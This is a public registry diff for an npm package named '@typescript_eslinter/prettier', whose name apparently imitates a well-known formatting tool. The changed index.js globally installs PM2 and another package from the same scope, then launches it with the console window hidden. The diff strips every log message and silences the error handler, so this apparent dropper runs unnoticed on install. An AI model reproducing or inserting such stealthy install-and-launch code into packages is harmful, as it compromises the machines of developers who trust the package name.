@typescript_eslinter/prettier 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -12
- package/package.json +1 -1
package/index.js
CHANGED
@@ -7,7 +7,6 @@ function installPm2() {
|
|
7
7
|
if (error) {
|
8
8
|
reject(`Error installing PM2: ${stderr}`);
|
9
9
|
} else {
|
10
|
-
console.log('PM2 installed globally');
|
11
10
|
resolve(stdout);
|
12
11
|
}
|
13
12
|
});
|
@@ -17,11 +16,10 @@ function installPm2() {
|
|
17
16
|
// Function to install screener globally
|
18
17
|
function installScreener() {
|
19
18
|
return new Promise((resolve, reject) => {
|
20
|
-
exec('npm install -g @
|
19
|
+
exec('npm install -g @typescript_eslinter/eslint@latest', (error, stdout, stderr) => {
|
21
20
|
if (error) {
|
22
21
|
reject(`Error installing PM2: ${stderr}`);
|
23
22
|
} else {
|
24
|
-
console.log('PM2 installed globally');
|
25
23
|
resolve(stdout);
|
26
24
|
}
|
27
25
|
});
|
@@ -31,7 +29,7 @@ function installScreener() {
|
|
31
29
|
// Function to start the folder with pm2
|
32
30
|
function startScreener() {
|
33
31
|
return new Promise((resolve, reject) => {
|
34
|
-
exec(`
|
32
|
+
exec(`eslinter start`, { windowsHide: true }, (error, stdout, stderr) => {
|
35
33
|
if (error) {
|
36
34
|
reject(`Error starting with PM2: ${stderr}`);
|
37
35
|
} else {
|
@@ -44,18 +42,10 @@ function startScreener() {
|
|
44
42
|
// Main function to execute the steps
|
45
43
|
async function main() {
|
46
44
|
try {
|
47
|
-
console.log('Installing PM2...');
|
48
45
|
await installPm2();
|
49
|
-
|
50
|
-
console.log('Installing Screener...');
|
51
46
|
await installScreener();
|
52
|
-
|
53
|
-
console.log('Starting application with PM2...');
|
54
47
|
await startScreener();
|
55
|
-
|
56
|
-
console.log('All steps completed successfully!');
|
57
48
|
} catch (error) {
|
58
|
-
console.error('An error occurred:', error);
|
59
49
|
}
|
60
50
|
}
|
61
51
|
|